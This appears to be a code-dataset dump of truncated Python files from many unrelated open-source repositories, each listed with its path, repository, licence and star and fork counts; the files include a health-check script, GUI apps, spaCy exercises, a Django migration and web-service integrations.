Packs/HealthCheck/Scripts/HealthCheckNumberOfDroppedIncidents/HealthCheckNumberOfDroppedIncidents.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
799
2016-08-02T06:43:14.000Z
2022-03-31T11:10:11.000Z
Packs/HealthCheck/Scripts/HealthCheckNumberOfDroppedIncidents/HealthCheckNumberOfDroppedIncidents.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
9,317
2016-08-07T19:00:51.000Z
2022-03-31T21:56:04.000Z
Packs/HealthCheck/Scripts/HealthCheckNumberOfDroppedIncidents/HealthCheckNumberOfDroppedIncidents.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
1,297
2016-08-04T13:59:00.000Z
2022-03-31T23:43:06.000Z
import demistomock as demisto # noqa: F401 from CommonServerPython import * # noqa: F401 from datetime import datetime, timedelta incident = demisto.incidents()[0] accountName = incident.get('account') accountName = f"acc_{accountName}/" if accountName != "" else "" args = demisto.args() Thresholds = { "Numbe...
31.381579
114
0.526625
b4bab14999b4ca4cc9e314400b10eeb509fe7841
8,906
py
Python
draw_playboard.py
Apo-lo/Muehle_gegen_Horst
7d5548266082ea0d10358122e0d8bc28abb49b64
[ "MIT" ]
null
null
null
draw_playboard.py
Apo-lo/Muehle_gegen_Horst
7d5548266082ea0d10358122e0d8bc28abb49b64
[ "MIT" ]
null
null
null
draw_playboard.py
Apo-lo/Muehle_gegen_Horst
7d5548266082ea0d10358122e0d8bc28abb49b64
[ "MIT" ]
null
null
null
# draw_playboard.py from tkinter import * import random import game_logic as gl import socket globalwindow = None class playboard: def __init__(self): self.human_pieces_set = 0 self.cpu_pieces_set = 0 self.human_pieces_board = 0 self.cpu_pieces_board = 0 self.remove_piece ...
44.089109
158
0.677521
257a952cac77ddea52555530da7b1b843a2c3b46
4,011
py
Python
app/app.py
Eggolt/Webdashboard
440e7cda510d4adf559572636611cbecf1b0ffae
[ "MIT" ]
null
null
null
app/app.py
Eggolt/Webdashboard
440e7cda510d4adf559572636611cbecf1b0ffae
[ "MIT" ]
null
null
null
app/app.py
Eggolt/Webdashboard
440e7cda510d4adf559572636611cbecf1b0ffae
[ "MIT" ]
null
null
null
from fastapi import FastAPI, Depends, Request from sqlalchemy.orm import Session from . import crud, models from .database import SessionLocal, engine from fastapi.responses import HTMLResponse from fastapi.staticfiles import StaticFiles from fastapi.templating import Jinja2Templates import plotly.express as px impo...
41.78125
192
0.678634
6ce2189ccd2ca1908b47350b311b62f54ab8c039
452
py
Python
exercises/de/solution_03_09_01.py
tuanducdesign/spacy-course
f8d092c5fa2997fccb3f367d174dce8667932b3d
[ "MIT" ]
2
2020-07-07T01:46:37.000Z
2021-04-20T03:19:43.000Z
exercises/de/solution_03_09_01.py
tuanducdesign/spacy-course
f8d092c5fa2997fccb3f367d174dce8667932b3d
[ "MIT" ]
null
null
null
exercises/de/solution_03_09_01.py
tuanducdesign/spacy-course
f8d092c5fa2997fccb3f367d174dce8667932b3d
[ "MIT" ]
null
null
null
import spacy from spacy.tokens import Token nlp = spacy.blank("de") # Registriere die Token-Erweiterung "is_country" mit default-Wert False Token.set_extension("is_country", default=False) # Verarbeite den Text und setze is_country auf True für den Token "Spanien" doc = nlp("Ich wohne in Spanien.") doc[3]._.is_count...
30.133333
75
0.765487
6cfe1cc0587066ec3c8ed98d95bdf0ceabd07cbd
1,907
py
Python
tests/test_tipc/benchmark/modules/lr_scheduler.py
mukaiu/PaddleNLP
0315365dbafa6e3b1c7147121ba85e05884125a5
[ "Apache-2.0" ]
null
null
null
tests/test_tipc/benchmark/modules/lr_scheduler.py
mukaiu/PaddleNLP
0315365dbafa6e3b1c7147121ba85e05884125a5
[ "Apache-2.0" ]
null
null
null
tests/test_tipc/benchmark/modules/lr_scheduler.py
mukaiu/PaddleNLP
0315365dbafa6e3b1c7147121ba85e05884125a5
[ "Apache-2.0" ]
null
null
null
import paddle from paddlenlp.transformers import LinearDecayWithWarmup class SchedulerBase(object): def __init__(self): pass @staticmethod def add_args(args, parser): raise NotImplementedError def build_scheculer(self, args): raise NotImplementedError class LambdaDecayBen...
28.044118
87
0.546408
e26a0a1c8614a9bf53545c2c073d51bd224f4057
220
py
Python
exercises/es/solution_02_10_01.py
Jette16/spacy-course
32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
2,085
2019-04-17T13:10:40.000Z
2022-03-30T21:51:46.000Z
exercises/es/solution_02_10_01.py
Jette16/spacy-course
32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
79
2019-04-18T14:42:55.000Z
2022-03-07T08:15:43.000Z
exercises/es/solution_02_10_01.py
Jette16/spacy-course
32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
361
2019-04-17T13:34:32.000Z
2022-03-28T04:42:45.000Z
import spacy nlp = spacy.load("es_core_news_md") doc1 = nlp("Es un cálido día de verano") doc2 = nlp("Hay sol afuera") # Obtén la similitud entre el doc1 y el doc2 similarity = doc1.similarity(doc2) print(similarity)
20
44
0.736364
e2771176cc749c3faae5b69e957889179812c8e1
3,656
py
Python
test/services/test_files.py
zhiyong-lv/flask-login
d8bf0719bae19ba8f7f44ea6d6a8ca65ba22aa63
[ "MIT" ]
null
null
null
test/services/test_files.py
zhiyong-lv/flask-login
d8bf0719bae19ba8f7f44ea6d6a8ca65ba22aa63
[ "MIT" ]
null
null
null
test/services/test_files.py
zhiyong-lv/flask-login
d8bf0719bae19ba8f7f44ea6d6a8ca65ba22aa63
[ "MIT" ]
null
null
null
from faker import Faker from pytest import raises from app.services.file_services.exceptions import * from app.services.file_services.file_services import FileServices from app.services.file_services.file_status import * from . import ModelBaseTest logger = logging.getLogger(__name__) class TestFileServices(ModelBa...
38.484211
119
0.678063
200c189247276c2693d4a6b8b4594e5183a4102e
1,459
py
Python
python/fileinfo.py
wittrup/crap
a77474588fd54a5a998e24df7b1e6e2ab473ded1
[ "MIT" ]
1
2017-12-12T13:58:08.000Z
2017-12-12T13:58:08.000Z
python/fileinfo.py
wittrup/crap
a77474588fd54a5a998e24df7b1e6e2ab473ded1
[ "MIT" ]
null
null
null
python/fileinfo.py
wittrup/crap
a77474588fd54a5a998e24df7b1e6e2ab473ded1
[ "MIT" ]
1
2019-11-03T10:16:35.000Z
2019-11-03T10:16:35.000Z
import binascii import hashlib import os textchars = bytearray({7,8,9,10,12,13,27} | set(range(0x20, 0x100)) - {0x7f}) binchars = bytearray({0x7f} | set(range(0x00, 0x20)) - {7,8,9,10,12,13,27}) class Fileinfo(): def __init__(self, hashes=None, filename=None): self.filename = filename if type(filename) ==...
34.738095
77
0.5305
378ae0b0f6cc3fb9a45bbe4d76c0f06b971a2048
1,028
py
Python
07_Testing/network/project4/network/migrations/0008_auto_20201113_1055.py
DaviNakamuraCardoso/Harvard-CS50-Web-Programming
afec745eede41f7b294c3ee6ebaff9ac042e5e4c
[ "MIT" ]
null
null
null
07_Testing/network/project4/network/migrations/0008_auto_20201113_1055.py
DaviNakamuraCardoso/Harvard-CS50-Web-Programming
afec745eede41f7b294c3ee6ebaff9ac042e5e4c
[ "MIT" ]
null
null
null
07_Testing/network/project4/network/migrations/0008_auto_20201113_1055.py
DaviNakamuraCardoso/Harvard-CS50-Web-Programming
afec745eede41f7b294c3ee6ebaff9ac042e5e4c
[ "MIT" ]
null
null
null
# Generated by Django 3.1.2 on 2020-11-13 10:55 from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('network', '0007_user_following'), ] operations = [ migrations.RemoveField(...
34.266667
148
0.620623
80a272818ebbd0db1a116d59f3af2e7262b03cd5
1,231
py
Python
kollektiv5gui/views/ConfigureApiWindow.py
MateRyze/InformatiCup-2019
eeca3ff7f8a102f4093697c6badee21ce25e2e87
[ "MIT" ]
3
2019-03-21T17:02:55.000Z
2019-04-04T18:16:10.000Z
kollektiv5gui/views/ConfigureApiWindow.py
MateRyze/InformatiCup-2019
eeca3ff7f8a102f4093697c6badee21ce25e2e87
[ "MIT" ]
11
2019-10-30T12:05:39.000Z
2022-03-11T23:43:54.000Z
kollektiv5gui/views/ConfigureApiWindow.py
MateRyze/InformatiCup-2019
eeca3ff7f8a102f4093697c6badee21ce25e2e87
[ "MIT" ]
1
2019-10-30T12:04:00.000Z
2019-10-30T12:04:00.000Z
from PyQt5.QtWidgets import QAction, QDialog, QLabel, QLineEdit, QFormLayout from PyQt5.QtWidgets import QHBoxLayout, QPushButton from kollektiv5gui.util import config class ConfigureApiWindow(QDialog): """ This window allows modifying the API URL and Key. """ def __init__(self, mainWindow): ...
28.627907
76
0.651503
209774d293e99d06614d119047c6a9a5f218b28d
2,650
py
Python
showcase6/com/aaron/demo9.py
qsunny/python
ace8c3178a9a9619de2b60ca242c2079dd2f825e
[ "MIT" ]
null
null
null
showcase6/com/aaron/demo9.py
qsunny/python
ace8c3178a9a9619de2b60ca242c2079dd2f825e
[ "MIT" ]
2
2021-03-25T22:00:07.000Z
2022-01-20T15:51:48.000Z
showcase6/com/aaron/demo9.py
qsunny/python
ace8c3178a9a9619de2b60ca242c2079dd2f825e
[ "MIT" ]
null
null
null
import wx class ExamplePanel(wx.Panel): def __init__(self, parent): wx.Panel.__init__(self, parent) self.quote = wx.StaticText(self, label="Your quote :", pos=(20, 30)) # A multiline TextCtrl - This is here to show how the events work in this program, don't pay too much attention to it ...
47.321429
125
0.641132
b33a6234a82e82727cbddebeb4c909f971c6e54d
4,309
py
Python
exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/tests/unit/modules/network/cloudengine/test_ce_static_route_bfd.py
tr3ck3r/linklight
5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7
[ "MIT" ]
null
null
null
exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/tests/unit/modules/network/cloudengine/test_ce_static_route_bfd.py
tr3ck3r/linklight
5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7
[ "MIT" ]
null
null
null
exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/tests/unit/modules/network/cloudengine/test_ce_static_route_bfd.py
tr3ck3r/linklight
5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7
[ "MIT" ]
null
null
null
# (c) 2019 Red Hat Inc. # # This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Ansible is dis...
41.834951
147
0.673474
b368ed22f14772c6422f60714a90f281c84d38c2
427
py
Python
_Dist/NeuralNetworks/f_AutoNN/NN.py
leoatchina/MachineLearning
071f2c0fc6f5af3d9550cfbeafe8d537c35a76d3
[ "MIT" ]
1,107
2016-09-21T02:18:36.000Z
2022-03-29T02:52:12.000Z
_Dist/NeuralNetworks/f_AutoNN/NN.py
leoatchina/MachineLearning
071f2c0fc6f5af3d9550cfbeafe8d537c35a76d3
[ "MIT" ]
18
2016-12-22T10:24:47.000Z
2022-03-11T23:18:43.000Z
_Dist/NeuralNetworks/f_AutoNN/NN.py
leoatchina/MachineLearning
071f2c0fc6f5af3d9550cfbeafe8d537c35a76d3
[ "MIT" ]
776
2016-12-21T12:08:08.000Z
2022-03-21T06:12:08.000Z
import os import sys root_path = os.path.abspath("../../../") if root_path not in sys.path: sys.path.append(root_path) from _Dist.NeuralNetworks.c_BasicNN.NN import Basic from _Dist.NeuralNetworks.e_AdvancedNN.NN import Advanced from _Dist.NeuralNetworks.Base import AutoBase, AutoMeta class AutoBasic(AutoBase, B...
23.722222
59
0.775176
2fc6cbf5c4ef00406b92032d8a07fe463bf32987
5,876
py
Python
app-backend/app/project.py
MarlonSchultz/SHM
f9082afb34d41ba20de564939c2e7de0caed907e
[ "MIT" ]
null
null
null
app-backend/app/project.py
MarlonSchultz/SHM
f9082afb34d41ba20de564939c2e7de0caed907e
[ "MIT" ]
1
2019-03-12T13:35:46.000Z
2019-03-12T13:35:46.000Z
app-backend/app/project.py
MarlonSchultz/SHM
f9082afb34d41ba20de564939c2e7de0caed907e
[ "MIT" ]
1
2019-03-15T13:29:57.000Z
2019-03-15T13:29:57.000Z
from flask import Blueprint, request, jsonify from sqlalchemy.exc import OperationalError, ProgrammingError from werkzeug.wrappers import Response from app import db class Project(db.Model): """ Project class. """ id = db.Column(db.Integer, primary_key=True) name = db.Column(db.String(300), uniqu...
33.011236
109
0.670184
ff5b56b33bf790688ef206c814e4bcb9f593593e
200
py
Python
_includes/snippets/python/monkey-patching/quick_decorator.py
MarauderXtreme/justus
229703abda2bd90d34232c97c64999c216d98239
[ "CC-BY-4.0" ]
1
2020-02-02T16:09:43.000Z
2020-02-02T16:09:43.000Z
_includes/snippets/python/monkey-patching/quick_decorator.py
MarauderXtreme/justus
229703abda2bd90d34232c97c64999c216d98239
[ "CC-BY-4.0" ]
1
2021-09-02T11:07:53.000Z
2021-09-02T11:07:53.000Z
_includes/snippets/python/monkey-patching/quick_decorator.py
MarauderXtreme/justus
229703abda2bd90d34232c97c64999c216d98239
[ "CC-BY-4.0" ]
null
null
null
#! /usr/bin/env python3 def my_decorator(func): return func # ergo @my_decorator def function1(): pass # is equivalent to def function1(): pass function1 = my_decorator(function1)
10
35
0.685
ff98d4f97cd9fb97b0e5c93149985fb0ba5582fe
1,867
py
Python
v2/rules.py
timm/py
28be3bb63433895e2bcab27ad82cb0b0cc994f37
[ "Unlicense" ]
1
2021-03-31T03:41:06.000Z
2021-03-31T03:41:06.000Z
v2/rules.py
timm/py
28be3bb63433895e2bcab27ad82cb0b0cc994f37
[ "Unlicense" ]
null
null
null
v2/rules.py
timm/py
28be3bb63433895e2bcab27ad82cb0b0cc994f37
[ "Unlicense" ]
null
null
null
import re from collections import Counter class o(object): def __init__(i, **k): i.__dict__.update(**k) def __repr__(i): return i.__class__.__name__ + str( {k: v for k, v in i.__dict__.items() if k[0] != "_"}) class Rule: def __init__(i): i._ready=False def __repr__(i): i.ready(); return i.show() ...
22.22619
75
0.557043
4452b2015ba288905689ae02f13ddeff4e28db57
1,770
py
Python
modules/lif.py
J0nasW/Bachelorarbeit
37052be075713f2016d42782397ff875e3e982f8
[ "MIT" ]
null
null
null
modules/lif.py
J0nasW/Bachelorarbeit
37052be075713f2016d42782397ff875e3e982f8
[ "MIT" ]
null
null
null
modules/lif.py
J0nasW/Bachelorarbeit
37052be075713f2016d42782397ff875e3e982f8
[ "MIT" ]
null
null
null
from __future__ import division # Because otherwise, "/" WILL NOT WORK! """ CALCULATION MODULE for LEAKY INTEGRATE AND FIRE CALL BY: <lif.py> RETURN: Desired Parameters INFO: Contains all mathematically important calculation functions Solving the differential equations by Runge Kutta 4th ord...
27.65625
133
0.635028
926a66aa675ba7c1043755647fd2be262b99fa5a
352
py
Python
listings/chapter04/sum.py
SaschaKersken/Daten-Prozessanalyse
370f07a75b9465329deb3671adbfbef8483f76f6
[ "Apache-2.0" ]
2
2021-09-20T06:16:41.000Z
2022-01-17T14:24:43.000Z
listings/chapter04/sum.py
SaschaKersken/Daten-Prozessanalyse
370f07a75b9465329deb3671adbfbef8483f76f6
[ "Apache-2.0" ]
null
null
null
listings/chapter04/sum.py
SaschaKersken/Daten-Prozessanalyse
370f07a75b9465329deb3671adbfbef8483f76f6
[ "Apache-2.0" ]
null
null
null
from sys import argv numbers = [] for arg in argv[1:]: try: numbers.append(float(arg)) except ValueError: print(f"{arg} ist keine Zahl.") if len(numbers) > 0: s = sum(numbers) m = s / len(numbers) print(f"Summe: {s}") print(f"Mittelwert: {m}") else: print(f"Verwendung: pyth...
20.705882
59
0.576705
cae5e2438b93c3438829e3e3ad3cc31baeb1d181
204
py
Python
exercises/pt/exc_01_02_01.py
Jette16/spacy-course
32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
2,085
2019-04-17T13:10:40.000Z
2022-03-30T21:51:46.000Z
exercises/pt/exc_01_02_01.py
Jette16/spacy-course
32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
79
2019-04-18T14:42:55.000Z
2022-03-07T08:15:43.000Z
exercises/pt/exc_01_02_01.py
Jette16/spacy-course
32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
361
2019-04-17T13:34:32.000Z
2022-03-28T04:42:45.000Z
# Importe a classe do idioma inglês from spacy.lang.____ import ____ # Crie um objeto nlp nlp = ____ # Processe o texto doc = nlp("This is a sentence.") # Imprima o texto do documento print(____.text)
17
35
0.730392
947be8be468a6e922901ecdc9d3e1f590e9f29eb
3,445
py
Python
kicker/model_environment.py
GeorgJohn/2D_Kicker_git
8a451f2d573d703ceac1c2011f26e6ff953d2090
[ "MIT" ]
null
null
null
kicker/model_environment.py
GeorgJohn/2D_Kicker_git
8a451f2d573d703ceac1c2011f26e6ff953d2090
[ "MIT" ]
null
null
null
kicker/model_environment.py
GeorgJohn/2D_Kicker_git
8a451f2d573d703ceac1c2011f26e6ff953d2090
[ "MIT" ]
1
2018-08-24T17:53:41.000Z
2018-08-24T17:53:41.000Z
import math from kicker.CONST_KICKER import * from kicker.CONST_BALL import * from kicker.CONST_GAME_FIGURES import * class Observation: def __init__(self): self._state = [] def update_std(self, kicker): standardize_x_pos = kicker.ball.pos[Coordinate.X] / COURT_WIDTH standardize_y_po...
31.898148
112
0.646734
84f1663b5aa7e091c97204497b784bf5dc23478a
472
py
Python
Python/zzz_training_challenge/Python_Challenge/solutions/ch03_recursion/intro/snowflake.py
Kreijeck/learning
eaffee08e61f2a34e01eb8f9f04519aac633f48c
[ "MIT" ]
null
null
null
Python/zzz_training_challenge/Python_Challenge/solutions/ch03_recursion/intro/snowflake.py
Kreijeck/learning
eaffee08e61f2a34e01eb8f9f04519aac633f48c
[ "MIT" ]
null
null
null
Python/zzz_training_challenge/Python_Challenge/solutions/ch03_recursion/intro/snowflake.py
Kreijeck/learning
eaffee08e61f2a34e01eb8f9f04519aac633f48c
[ "MIT" ]
null
null
null
# Beispielprogramm für das Buch "Python Challenge" # # Copyright 2020 by Michael Inden import turtle def draw_snowflake(turtle, length, depth): if depth == 0: return for _ in range(6): turtle.right(60) turtle.forward(length) # rekursiver Abstieg draw_snowflake(turtl...
17.481481
54
0.65678
8e2a94ff4a9f8d01792ab8cfbf6c7da69a305225
319
py
Python
Online-Judges/DimikOJ/Python/33-partition-possible-1.py
shihab4t/Competitive-Programming
e8eec7d4f7d86bfa1c00b7fbbedfd6a1518f19be
[ "Unlicense" ]
3
2021-06-15T01:19:23.000Z
2022-03-16T18:23:53.000Z
Online-Judges/DimikOJ/Python/33-partition-possible-1.py
shihab4t/Competitive-Programming
e8eec7d4f7d86bfa1c00b7fbbedfd6a1518f19be
[ "Unlicense" ]
null
null
null
Online-Judges/DimikOJ/Python/33-partition-possible-1.py
shihab4t/Competitive-Programming
e8eec7d4f7d86bfa1c00b7fbbedfd6a1518f19be
[ "Unlicense" ]
null
null
null
# I don't solved t = int(input()) for j in range(t): a, b, c = input().split() a, b, c = int(a), int(b), int(c) for j in range(0, b+1, c): if j < a: continue print(j) print('') """ for i in range(a, b+1): if i % c == 0: print(i) print('') """
15.190476
36
0.401254
1e18ace3c3409a3de5fc1e9b6ba80e8fd96ea4fa
14,598
py
Python
spo/spo/report/timesheets_jahresrapport/timesheets_jahresrapport.py
libracore/spo
efff6da53a776c4483f06d9ef1acc8a7aa96b28e
[ "MIT" ]
null
null
null
spo/spo/report/timesheets_jahresrapport/timesheets_jahresrapport.py
libracore/spo
efff6da53a776c4483f06d9ef1acc8a7aa96b28e
[ "MIT" ]
6
2019-08-23T18:36:26.000Z
2019-11-12T13:12:12.000Z
spo/spo/report/timesheets_jahresrapport/timesheets_jahresrapport.py
libracore/spo
c6617a4624d683e27ee3fde745313c30504f3fd1
[ "MIT" ]
1
2021-08-14T22:22:43.000Z
2021-08-14T22:22:43.000Z
# Copyright (c) 2013, libracore and contributors # For license information, please see license.txt from __future__ import unicode_literals import frappe from frappe import _ from erpnext.hr.doctype.leave_application.leave_application import get_leave_details from frappe.utils.data import nowdate, add_to_date, get_date...
53.277372
331
0.629812
1e1d035975c7b17bbea0242bef80f4a22c4da339
80
py
Python
twitoff/__init__.py
Rob1Ham/TwitOff
ad6180b1317be4f38fbbf4d8f226a5e4719eacd7
[ "MIT" ]
null
null
null
twitoff/__init__.py
Rob1Ham/TwitOff
ad6180b1317be4f38fbbf4d8f226a5e4719eacd7
[ "MIT" ]
5
2021-06-02T00:42:23.000Z
2022-03-12T00:07:12.000Z
twitoff/__init__.py
RobDoesData/TwitOff
ad6180b1317be4f38fbbf4d8f226a5e4719eacd7
[ "MIT" ]
null
null
null
"""Entry Point for Twitoff.""" from .app import create_app APP = create_app()
13.333333
30
0.7
bf8471ebea6fa410d3d7c1c12737f194d667c214
1,783
py
Python
cbm/utils/update.py
CsabaWirnhardt/cbm
1822addd72881057af34ac6a7c2a1f02ea511225
[ "BSD-3-Clause" ]
17
2021-01-18T07:27:01.000Z
2022-03-10T12:26:21.000Z
cbm/utils/update.py
CsabaWirnhardt/cbm
1822addd72881057af34ac6a7c2a1f02ea511225
[ "BSD-3-Clause" ]
4
2021-04-29T11:20:44.000Z
2021-12-06T10:19:17.000Z
cbm/utils/update.py
CsabaWirnhardt/cbm
1822addd72881057af34ac6a7c2a1f02ea511225
[ "BSD-3-Clause" ]
47
2021-01-21T08:25:22.000Z
2022-03-21T14:28:42.000Z
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # This file is part of CbM (https://github.com/ec-jrc/cbm). # Author : Konstantinos Anastasakis # Credits : GTCAP Team # Copyright : 2021 European Commission, Joint Research Centre # License : 3-Clause BSD import requests import inspect import cbm def check(pack...
32.418182
80
0.52608
784b3cda7878f2c37f3e70d59b754b91f69d756b
799
py
Python
cryptoauthlib/python/cryptoauthlib/atcaenum.py
PhillyNJ/SAMD21
0f123422ed0ad183d510add8f5d3472a16f1e8cb
[ "MIT" ]
12
2017-11-15T08:29:03.000Z
2021-05-22T04:57:20.000Z
cryptoauthlib/python/cryptoauthlib/atcaenum.py
PhillyNJ/SAMD21
0f123422ed0ad183d510add8f5d3472a16f1e8cb
[ "MIT" ]
2
2019-09-22T12:02:07.000Z
2021-09-09T22:38:25.000Z
cryptoauthlib/python/cryptoauthlib/atcaenum.py
PhillyNJ/SAMD21
0f123422ed0ad183d510add8f5d3472a16f1e8cb
[ "MIT" ]
5
2019-04-05T13:46:44.000Z
2020-11-25T08:58:32.000Z
from enum import Enum class AtcaEnum(int, Enum): """ Overload of standard python enum for some additional convenience features. Assumes closer alignment to C style enums where the value is always an integer """ def __str__(self): return self.name def __eq__(self, other): if is...
27.551724
120
0.596996
1743cb5819e9e315fe1e81a9f80a8ab1eef9c851
628
py
Python
Curso_Python/Secao2-Python-Basico-Logica-Programacao/36_split_join_enumerate/36_split_join_enumerate.py
pedrohd21/Cursos-Feitos
b223aad83867bfa45ad161d133e33c2c200d42bd
[ "MIT" ]
null
null
null
Curso_Python/Secao2-Python-Basico-Logica-Programacao/36_split_join_enumerate/36_split_join_enumerate.py
pedrohd21/Cursos-Feitos
b223aad83867bfa45ad161d133e33c2c200d42bd
[ "MIT" ]
null
null
null
Curso_Python/Secao2-Python-Basico-Logica-Programacao/36_split_join_enumerate/36_split_join_enumerate.py
pedrohd21/Cursos-Feitos
b223aad83867bfa45ad161d133e33c2c200d42bd
[ "MIT" ]
null
null
null
""" split, join, enumerate em python * Split - Dividir uma string # str * join - Juntar uma lista #str * enumerate - enumerar elementos da lista # Iteraveis """ string = 'O Brasil é penta.' lista = string.split(' ') #todo: split separa cada palavra em uma lista lista1 = ','.join(lista) #todo: join junta uma lista print...
25.12
71
0.630573
179de3156315f4d92cc2f22cd3ffcc38e5c61c94
19,452
py
Python
packages/watchmen-storage-mongodb/src/watchmen_storage_mongodb/storage_mongo.py
Indexical-Metrics-Measure-Advisory/watchmen
c54ec54d9f91034a38e51fd339ba66453d2c7a6d
[ "MIT" ]
null
null
null
packages/watchmen-storage-mongodb/src/watchmen_storage_mongodb/storage_mongo.py
Indexical-Metrics-Measure-Advisory/watchmen
c54ec54d9f91034a38e51fd339ba66453d2c7a6d
[ "MIT" ]
null
null
null
packages/watchmen-storage-mongodb/src/watchmen_storage_mongodb/storage_mongo.py
Indexical-Metrics-Measure-Advisory/watchmen
c54ec54d9f91034a38e51fd339ba66453d2c7a6d
[ "MIT" ]
null
null
null
from logging import getLogger from typing import Any, Dict, List, Optional, Tuple from watchmen_model.admin import Topic from watchmen_model.common import DataPage from watchmen_storage import as_table_name, Entity, EntityColumnAggregateArithmetic, EntityDeleter, \ EntityDistinctValuesFinder, EntityFinder, EntityHelp...
37.335893
109
0.758894
bd661295fd0fd8b4da45118db1c5b8d05e6f2290
77
py
Python
python/coursera_python/TORONTO/test/10.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
16
2018-11-26T08:39:42.000Z
2019-05-08T10:09:52.000Z
python/coursera_python/TORONTO/test/10.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
8
2020-05-04T06:29:26.000Z
2022-02-12T05:33:16.000Z
python/coursera_python/TORONTO/test/10.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
5
2020-02-11T16:02:21.000Z
2021-02-05T07:48:30.000Z
values = [] for num in range(3, 10, 3): values.append(num) print(values)
15.4
27
0.636364
e54ef63ef625e42a55fa017ed22a0b90a5ed4f8e
12,789
py
Python
src/onegov/gazette/models/notice.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/gazette/models/notice.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/gazette/models/notice.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
from collections import OrderedDict from datetime import date from onegov.chat import Message from onegov.core.orm.mixins import content_property from onegov.core.orm.mixins import meta_property from onegov.file import AssociatedFiles from onegov.file import File from onegov.gazette import _ from onegov.gazette.models....
31.9725
79
0.637814
e5e39ebcbe05c1d989a35cf82765b515f0d31d7a
5,805
py
Python
src/lcdoc/mkdocs/find_pages/__init__.py
axiros/docutools
f99874a64afba8f5bc740049d843151ccd9ceaf7
[ "BSD-2-Clause" ]
24
2021-10-04T22:11:59.000Z
2022-02-02T21:51:43.000Z
src/lcdoc/mkdocs/find_pages/__init__.py
axiros/docutools
f99874a64afba8f5bc740049d843151ccd9ceaf7
[ "BSD-2-Clause" ]
2
2021-10-04T21:51:30.000Z
2021-10-05T14:15:31.000Z
src/lcdoc/mkdocs/find_pages/__init__.py
axiros/docutools
f99874a64afba8f5bc740049d843151ccd9ceaf7
[ "BSD-2-Clause" ]
null
null
null
""" ## Find Pages Adds pages to nav """ import string import time from ast import literal_eval from functools import partial from lcdoc.mkdocs.tools import MDPlugin, app, config_options, find_md_files from lcdoc.tools import dirname, exists, OD, unflatten, flatten, os, project, read_file from lcdoc.mkdocs.find_pages...
29.769231
112
0.536951
005dc548d2a5c87642e0bba88d3181127616de05
328
py
Python
showcase1/com/aaron/osexample.py
qsunny/python
ace8c3178a9a9619de2b60ca242c2079dd2f825e
[ "MIT" ]
null
null
null
showcase1/com/aaron/osexample.py
qsunny/python
ace8c3178a9a9619de2b60ca242c2079dd2f825e
[ "MIT" ]
2
2021-03-25T22:00:07.000Z
2022-01-20T15:51:48.000Z
showcase1/com/aaron/osexample.py
qsunny/python
ace8c3178a9a9619de2b60ca242c2079dd2f825e
[ "MIT" ]
null
null
null
# -*- codiing:utf-8 -*- """os example""" __author__="aaron.qiu" import os def printOsInfo(): print("=====>") print(os.path) print(os.name) print(os.curdir) print(os.pardir) print(os.sep) print(os.extsep) print(os.altsep ) print(os.devnull) if __name__ == "__main__": printOsInf...
13.666667
26
0.585366
971d863a375b1b957b35a5c640a6f10da2325a91
29,234
py
Python
Packs/PaloAltoNetworks_IoT3rdParty/Integrations/PaloAltoNetworksIoT3rdParty/PaloAltoNetworksIoT3rdParty.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
799
2016-08-02T06:43:14.000Z
2022-03-31T11:10:11.000Z
Packs/PaloAltoNetworks_IoT3rdParty/Integrations/PaloAltoNetworksIoT3rdParty/PaloAltoNetworksIoT3rdParty.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
9,317
2016-08-07T19:00:51.000Z
2022-03-31T21:56:04.000Z
Packs/PaloAltoNetworks_IoT3rdParty/Integrations/PaloAltoNetworksIoT3rdParty/PaloAltoNetworksIoT3rdParty.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
1,297
2016-08-04T13:59:00.000Z
2022-03-31T23:43:06.000Z
from CommonServerPython import * import urllib3 # Disable insecure warnings urllib3.disable_warnings() DEFAULT_HEADERS = { 'X-Access-Key': demisto.params().get("Access Key"), 'X-Key-Id': demisto.params().get("Key ID"), 'Content-Type': 'application/json', } CUSTOMER_ID = demisto.params().get("Customer ID")...
37.335888
117
0.617432
8afefd18dcc08e908921fdc99c01758e5bc29222
1,490
py
Python
src/onegov/org/views/subscription.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/org/views/subscription.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
